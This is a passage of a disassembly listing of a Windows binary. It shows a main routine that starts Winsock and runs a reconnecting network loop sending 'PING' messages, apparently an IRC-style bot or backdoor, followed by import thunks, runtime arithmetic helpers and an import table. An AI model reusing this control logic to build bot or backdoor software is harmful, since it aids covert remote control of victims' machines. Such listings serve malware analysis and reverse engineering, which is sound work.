		call	sub_402D7B
		call	sub_403E9B
		call	sub_40647C
		call	sub_40DE2B
		call	sub_40A9A3
		call	sub_409AB1
		push	10h
		mov	esi, offset dword_417798
		push	esi
		call	sub_40ABCC
		push	10h
		push	esi
		call	sub_409C8B
		push	10h
		push	esi
		call	sub_409D01
		add	esp, 18h
		call	sub_40AB05
		mov	dword_418960, eax
		call	sub_40AB05
		mov	dword_418964, eax
		call	sub_40AB05
		mov	dword_418968, eax
		call	sub_40AB05
		mov	dword_41896C, eax
		push	104h
		lea	eax, [ebp-1120h]
		push	eax
		push	edi
		call	ds:dword_411094	; GetModuleHandleA
		push	eax
		call	ds:dword_411098	; GetModuleFileNameA
		test	eax, eax
		jnz	short loc_41069E


loc_41068B:				; CODE XREF: seg000:004106B3j
		push	offset byte_417B60
		push	offset dword_41885C
		call	sub_410820	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_4106E4
; ---------------------------------------------------------------------------


loc_41069E:				; CODE XREF: seg000:00410689j
		lea	eax, [ebp-1120h]
		push	eax
		call	sub_410826	; strlen
		pop	ecx


loc_4106AB:				; CODE XREF: seg000:004107CBj
		mov	[ebp-12F4h], eax
		cmp	eax, edi
		jz	short loc_41068B
		cmp	byte ptr [ebp+eax-1121h], 5Ch
		jnz	loc_4107CA
		lea	eax, [ebp+eax-1120h]
		push	eax
		mov	esi, offset dword_41885C
		push	esi
		call	sub_410820	; _mbscpy
		push	esi
		push	offset dword_418970
		call	sub_410820	; _mbscpy
		add	esp, 10h


loc_4106E4:				; CODE XREF: seg000:0041069Cj
		call	sub_4049B5
		lea	eax, [ebp-12ECh]
		push	eax
		push	202h
		call	ds:dword_411274	; WSAStartup


loc_4106FB:				; CODE XREF: seg000:004107A2j
		push	edi
		push	edi
		push	edi
		call	sub_408BA7
		add	esp, 0Ch
		call	sub_406324
		mov	[ebp-1124h], edi
		mov	[ebp-101Ch], edi


loc_410717:				; CODE XREF: seg000:004107C5j
		mov	dword ptr [ebp-4], 1


loc_41071E:				; CODE XREF: seg000:00410758j
					; seg000:00410760j
		push	0EA60h
		call	sub_40882C
		push	eax
		call	sub_403DD6
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410762
		cmp	dword ptr [ebp-101Ch], 19h
		jz	short loc_41079F
		cmp	dword ptr [ebp-101Ch], 14h
		jnz	short loc_41075A
		call	sub_40AB05
		push	eax
		push	offset aPing08x	; "PING	:%08X"
		call	sub_408E60
		pop	ecx


loc_410757:				; CODE XREF: seg000:0041079Dj
		pop	ecx
		jmp	short loc_41071E
; ---------------------------------------------------------------------------


loc_41075A:				; CODE XREF: seg000:00410744j
		inc	dword ptr [ebp-101Ch]
		jmp	short loc_41071E
; ---------------------------------------------------------------------------


loc_410762:				; CODE XREF: seg000:00410732j
		push	1000h
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_40882C
		push	eax
		call	sub_403D69
		add	esp, 0Ch
		mov	[ebp-1124h], eax
		cmp	eax, edi
		jz	short loc_41079F
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41079F
		mov	[ebp-101Ch], edi
		lea	eax, [ebp-1018h]
		push	eax
		call	sub_409A8C
		jmp	short loc_410757
; ---------------------------------------------------------------------------


loc_41079F:				; CODE XREF: seg000:0041073Bj
					; seg000:00410784j ...
		mov	[ebp-4], edi
		jmp	loc_4106FB
; ---------------------------------------------------------------------------


loc_4107A7:				; DATA XREF: seg001:004112B8o
		push	offset aLoop	; "loop"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4107BD:				; DATA XREF: seg001:004112BCo
		mov	esp, [ebp-18h]
		xor	edi, edi
		mov	[ebp-4], edi
		jmp	loc_410717
; ---------------------------------------------------------------------------


loc_4107CA:				; CODE XREF: seg000:004106BDj
		dec	eax
		jmp	loc_4106AB
; ---------------------------------------------------------------------------


loc_4107D0:				; CODE XREF: seg000:004105F3j
					; seg000:00410601j
		inc	dword ptr [ebp-1128h]
		jmp	loc_4105C3
; ---------------------------------------------------------------------------
		push	offset aEntry	; "entry"
		push	offset aMain	; "main"
		push	dword ptr [ebp-14h]
		call	sub_40287C
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		xor	edi, edi
		cmp	dword_417B68, edi
		jz	short loc_410813
		push	offset dword_417A88
		push	offset dword_4177EC
		call	sub_408CDE
		pop	ecx
		pop	ecx


loc_410813:				; CODE XREF: seg000:00410800j
		call	ds:dword_411260	; WSACleanup
		push	edi
		call	sub_4108EC	; exit
		int	3		; Trap to Debugger

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410820	proc near		; CODE XREF: sub_401000+36p
					; sub_401B81+61p ...
		jmp	ds:dword_41113C
sub_410820	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410826	proc near		; CODE XREF: sub_40110A+64p
					; sub_4014B0+Bp ...
		jmp	ds:dword_4111D0
sub_410826	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41082C	proc near		; CODE XREF: sub_4011C4+6Dp
					; sub_4014B0+1Ap ...
		jmp	ds:dword_4111CC
sub_41082C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410832	proc near		; CODE XREF: sub_4011C4+20p
					; sub_4011C4+283p ...
		jmp	ds:dword_4111C8
sub_410832	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410838	proc near		; CODE XREF: sub_4011C4+18p
					; sub_401621+1Bp ...
		jmp	ds:dword_4111C4
sub_410838	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41083E	proc near		; CODE XREF: sub_4014B0+43p
					; sub_401EA8+84p ...
		jmp	ds:dword_4111C0
sub_41083E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410844	proc near		; CODE XREF: sub_401571+97p
					; sub_4043B3+1CAp ...
		jmp	ds:dword_4111BC
sub_410844	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41084A	proc near		; CODE XREF: sub_401571+30p
					; sub_401571+4Bp ...
		jmp	ds:dword_4111B8
sub_41084A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410850	proc near		; CODE XREF: sub_401621+CFp
					; sub_401621+DDp ...
		jmp	ds:dword_4111B4
sub_410850	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410856	proc near		; CODE XREF: sub_4018D5+8Ap
					; sub_4027CB+45p ...
		jmp	ds:dword_4111B0
sub_410856	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41085C	proc near		; CODE XREF: sub_401985+150p
					; sub_401B81+120p ...
		jmp	ds:dword_4111AC
sub_41085C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410862	proc near		; CODE XREF: sub_401985+122p
					; sub_402018+166p ...
		jmp	ds:dword_4111A8
sub_410862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410868	proc near		; CODE XREF: sub_401985+85p
					; sub_401985+1D8p ...
		jmp	ds:dword_4111A4
sub_410868	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41086E	proc near		; CODE XREF: sub_401985+42p
					; sub_401B81+F1p ...
		jmp	ds:dword_4111A0
sub_41086E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410880	proc near		; CODE XREF: sub_401B81+1EAp
					; sub_401B81+232p ...
		jmp	ds:dword_41119C
sub_410880	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410886	proc near		; CODE XREF: sub_401B81+11Ap
					; sub_401B81+12Bp ...
		jmp	ds:dword_411198
sub_410886	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41088C	proc near		; CODE XREF: sub_401EA8+2Fp
					; sub_401EA8+4Ep ...
		jmp	ds:dword_411194
sub_41088C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410892	proc near		; CODE XREF: sub_402018+DDp
					; sub_40849F+A2p ...
		jmp	ds:dword_411190
sub_410892	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410898	proc near		; CODE XREF: sub_402018+98p
					; sub_402018+B8p ...
		jmp	ds:dword_41118C
sub_410898	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41089E	proc near		; CODE XREF: sub_402018+47p
					; sub_40311D+1Fp ...
		jmp	ds:dword_411188
sub_41089E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4108B0	proc near		; CODE XREF: sub_402EFD+8p
					; sub_403DD6+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4108D0


loc_4108BC:				; CODE XREF: sub_4108B0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4108BC


loc_4108D0:				; CODE XREF: sub_4108B0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4108B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4108E0	proc near		; CODE XREF: sub_403201+Dp
					; sub_403201+26p ...
		jmp	ds:dword_411184
sub_4108E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4108E6	proc near		; CODE XREF: sub_403F1D:loc_403F5Dp
		jmp	ds:dword_411180
sub_4108E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4108EC	proc near		; CODE XREF: sub_4049B5+209p
					; seg000:0041081Ap
		jmp	ds:dword_41117C
sub_4108EC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410900	proc near		; CODE XREF: sub_4057B0+53p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_410921
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_410971
; ---------------------------------------------------------------------------


loc_410921:				; CODE XREF: sub_410900+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41092F:				; CODE XREF: sub_410900+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41092F
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41095A
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41095A
		jb	short loc_410962
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_410962


loc_41095A:				; CODE XREF: sub_410900+4Aj
					; sub_410900+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_410962:				; CODE XREF: sub_410900+52j
					; sub_410900+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_410971:				; CODE XREF: sub_410900+1Fj
		pop	ebx
		retn	10h
sub_410900	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410980	proc near		; CODE XREF: sub_4057B0+2Fp
					; sub_4057B0+39p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_4109A2
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4109E3
; ---------------------------------------------------------------------------


loc_4109A2:				; CODE XREF: sub_410980+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_4109B0:				; CODE XREF: sub_410980+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4109B0
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4109DE
		cmp	edx, [esp+8+arg_4]
		ja	short loc_4109DE
		jb	short loc_4109DF
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_4109DF


loc_4109DE:				; CODE XREF: sub_410980+4Ej
					; sub_410980+54j
		dec	esi


loc_4109DF:				; CODE XREF: sub_410980+56j
					; sub_410980+5Cj
		xor	edx, edx
		mov	eax, esi


loc_4109E3:				; CODE XREF: sub_410980+20j
		pop	esi
		pop	ebx
		retn	10h
sub_410980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4109E8	proc near		; CODE XREF: sub_405CC8+171p
					; sub_406324+5Ap ...
		jmp	ds:dword_411178
sub_4109E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4109F0	proc near		; CODE XREF: sub_406096+5Fp
					; sub_406110+A6p
		cmp	cl, 40h
		jnb	short loc_410A0A
		cmp	cl, 20h
		jnb	short loc_410A00
		shrd	eax, edx, cl
		shr	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_410A00:				; CODE XREF: sub_4109F0+8j
		mov	eax, edx
		xor	edx, edx
		and	cl, 1Fh
		shr	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_410A0A:				; CODE XREF: sub_4109F0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_4109F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410A10	proc near		; CODE XREF: sub_406324+53p
					; sub_40639B+53p ...
		jmp	ds:dword_411174
sub_410A10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410A20	proc near		; CODE XREF: sub_406324+40p
					; sub_40639B+40p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_410A41
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_410A41:				; CODE XREF: sub_410A20+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_410A5D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_410A5D:				; CODE XREF: sub_410A20+27j
		or	eax, eax
		jnz	short loc_410A79
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_410ABA
; ---------------------------------------------------------------------------


loc_410A79:				; CODE XREF: sub_410A20+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_410A87:				; CODE XREF: sub_410A20+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_410A87
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_410AB5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_410AB5
		jb	short loc_410AB6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_410AB6


loc_410AB5:				; CODE XREF: sub_410A20+85j
					; sub_410A20+8Bj
		dec	esi


loc_410AB6:				; CODE XREF: sub_410A20+8Dj
					; sub_410A20+93j
		xor	edx, edx
		mov	eax, esi


loc_410ABA:				; CODE XREF: sub_410A20+57j
		dec	edi
		jnz	short loc_410AC4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_410AC4:				; CODE XREF: sub_410A20+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_410A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410ACA	proc near		; DATA XREF: sub_4064A0+Ao
					; sub_406596+Ao ...
		jmp	ds:dword_411170
sub_410ACA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410AD0	proc near		; CODE XREF: sub_406541+31p
					; sub_40663C+D0p
		jmp	ds:dword_41116C
sub_410AD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410AD6	proc near		; CODE XREF: sub_40663C+A4p
		jmp	ds:dword_411168
sub_410AD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410ADC	proc near		; CODE XREF: sub_406B1B+B0p
					; sub_406B1B+B6p ...
		jmp	ds:dword_411164
sub_410ADC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410AE2	proc near		; CODE XREF: sub_406B1B+3Ep
					; sub_406B1B+62p
		jmp	ds:dword_411160
sub_410AE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410AE8	proc near		; CODE XREF: sub_406B1B+19p
					; sub_406BE0+16Fp
		jmp	ds:dword_41115C
sub_410AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410AEE	proc near		; CODE XREF: sub_406F40+E0p
					; sub_40735A+16Ep ...
		jmp	ds:dword_411158
sub_410AEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410AF4	proc near		; CODE XREF: sub_407290+54p
		jmp	ds:dword_411154
sub_410AF4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410AFA	proc near		; CODE XREF: sub_40735A+C28p
					; sub_40AC87+3Dp ...
		jmp	ds:dword_411150
sub_410AFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410B00	proc near		; CODE XREF: sub_408C6C+38p
					; sub_408CDE+38p ...
		jmp	ds:dword_41114C
sub_410B00	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410B06	proc near		; CODE XREF: sub_409E49+31p
					; sub_409E49+54p
		jmp	ds:dword_411148
sub_410B06	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410B0C	proc near		; CODE XREF: sub_409EB3+2Fp
					; sub_409EB3+58p
		jmp	ds:dword_411144
sub_410B0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410B12	proc near		; CODE XREF: sub_409EB3+17p
		jmp	ds:dword_411140
sub_410B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410B18	proc near		; CODE XREF: sub_40B7A2+67p
					; sub_40C225+301p ...
		jmp	ds:dword_411138
sub_410B18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410B1E	proc near		; CODE XREF: sub_40C225+3AFp
					; sub_40C225+425p
		jmp	ds:dword_411134
sub_410B1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410B24	proc near		; CODE XREF: sub_40C225+1E5p
					; sub_40C225+23Cp
		jmp	ds:dword_411130
sub_410B24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410B2A	proc near		; CODE XREF: sub_40C225+1AAp
		jmp	ds:dword_41112C
sub_410B2A	endp

; ---------------------------------------------------------------------------


loc_410B30:				; CODE XREF: seg000:00410CF5j
		jmp	ds:dword_411128
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_410B38	proc near		; CODE XREF: sub_40F54D+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_410B38	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410B58	proc near		; CODE XREF: sub_40371E+2Fp
					; sub_40371E+151p ...
		jmp	ds:dword_41120C
sub_410B58	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_410B60	proc near		; CODE XREF: sub_40F54D+6Dp
					; sub_40F54D+DAp ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_410BCF
		retn	4
sub_410B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B6E	proc near		; CODE XREF: sub_40F54D+8Cp
					; sub_40F54D+15Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_410BC0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_417B00
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_410BC0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_410BC0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	ds:dword_4111DC
		test	eax, eax
		jz	short loc_410BC0
		and	[ebp+var_4], 0


loc_410BC0:				; CODE XREF: sub_410B6E+Dj
					; sub_410B6E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_410BCF
		leave
		retn	0Ch
sub_410B6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410BCF	proc near		; CODE XREF: sub_410B60+6p
					; sub_410B6E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410BF3
		lea	eax, [ebp+var_10]
		push	offset dword_4113C8
		push	eax
		call	sub_410CC2	; _CxxThrowException
sub_410BCF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_410BF3	proc near		; CODE XREF: sub_410BCF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4112C4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_410C1F
		cmp	[esp+4+arg_8], 0
		jz	short loc_410C1F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_410C1F:				; CODE XREF: sub_410BF3+1Dj
					; sub_410BF3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_410BF3	endp


; =============== S U B	R O U T	I N E =======================================



sub_410C25	proc near		; DATA XREF: seg001:off_4112C4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_410C6E
		test	[esp+4+arg_0], 1
		jz	short loc_410C3B
		push	esi
		call	sub_410ADC
		pop	ecx


loc_410C3B:				; CODE XREF: sub_410C25+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_410C25	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4112C4
		jz	short loc_410C68
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_410C68:				; CODE XREF: seg000:00410C60j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_410C6E	proc near		; CODE XREF: sub_410C25+3p
					; DATA XREF: seg001:004113CCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4112C4
		test	eax, eax
		jz	short loc_410C84
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_410C84:				; CODE XREF: sub_410C6E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_410C92
		push	esi
		call	ds:dword_4110B4	; LocalFree


loc_410C92:				; CODE XREF: sub_410C6E+1Bj
		pop	esi
		retn
sub_410C6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410C94	proc near		; CODE XREF: sub_4011C4+C1p
					; sub_4049B5+90p ...
		jmp	ds:dword_4111D4
sub_410C94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410C9A	proc near		; CODE XREF: sub_401B81+C9p
					; sub_402C11+101p ...
		jmp	ds:dword_411118
sub_410C9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410CA0	proc near		; CODE XREF: sub_402230+B1p
					; sub_402230+1ABp ...
		jmp	ds:dword_41111C
sub_410CA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_410CA6	proc near		; DATA XREF: seg001:off_4112CCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_410CC8
		test	[esp+4+arg_0], 1
		jz	short loc_410CBC
		push	esi
		call	sub_410ADC
		pop	ecx


loc_410CBC:				; CODE XREF: sub_410CA6+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_410CA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410CC2	proc near		; CODE XREF: sub_410BCF+1Fp
		jmp	ds:dword_411120
sub_410CC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_410CC8	proc near		; CODE XREF: sub_410CA6+3p
		jmp	ds:dword_411124
sub_410CC8	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-14h]
		jmp	loc_40FCF3
; ---------------------------------------------------------------------------


loc_410CD8:				; DATA XREF: seg001:0041138Co
		lea	ecx, [ebp-1Ch]
		jmp	loc_40FCF3
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	loc_40FCF3
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_40FCF3
; ---------------------------------------------------------------------------


loc_410CF0:				; DATA XREF: sub_40F54Do
		mov	eax, offset dword_411360
		jmp	loc_410B30
; ---------------------------------------------------------------------------
		align 400h
seg000		ends

; Section 2. (virtual address 00011000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00011000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
seg001		segment	para public 'CODE' use32
		assume cs:seg001
		;org 411000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_411000	dd 77DD22EAh		; DATA XREF: sub_401000+55r
					; sub_4043B3+116r ...
dword_411004	dd 77DD5C55h		; DATA XREF: sub_401000+B2r
					; sub_4047C0+91r
dword_411008	dd 77DD7F3Eh		; DATA XREF: sub_401000+22r
dword_41100C	dd 77DD23D7h		; DATA XREF: sub_4043B3+14Dr
					; sub_4058D7+20Ar ...
dword_411010	dd 77DD59F0h		; DATA XREF: sub_4047C0+83r
dword_411014	dd 77DD590Bh		; DATA XREF: sub_4047C0+24r
dword_411018	dd 77DDACABh		; DATA XREF: sub_4058D7+A4r
dword_41101C	dd 77DE042Eh		; DATA XREF: sub_40A9A3+59r
dword_411020	dd 77DE03D2h		; DATA XREF: sub_40A9A3+1Er
dword_411024	dd 77DDEBA2h		; DATA XREF: sub_40A9A3+18r
dword_411028	dd 77DD189Ah		; DATA XREF: sub_401000+EBr
					; sub_4043B3+226r ...
		align 10h
dword_411030	dd 77E65F4Ch		; DATA XREF: sub_4058D7+B2r
dword_411034	dd 77E7C657h		; DATA XREF: sub_4058D7+D6r
					; sub_4088FC+1D3r ...
dword_411038	dd 77E7513Ch		; DATA XREF: sub_40587E+8r
dword_41103C	dd 77E705C5h		; DATA XREF: sub_40488C+3Br
dword_411040	dd 77E74672h		; DATA XREF: sub_4047C0+6Br
					; sub_40F54D+4C7r
dword_411044	dd 77E705B0h		; DATA XREF: sub_404715+18r
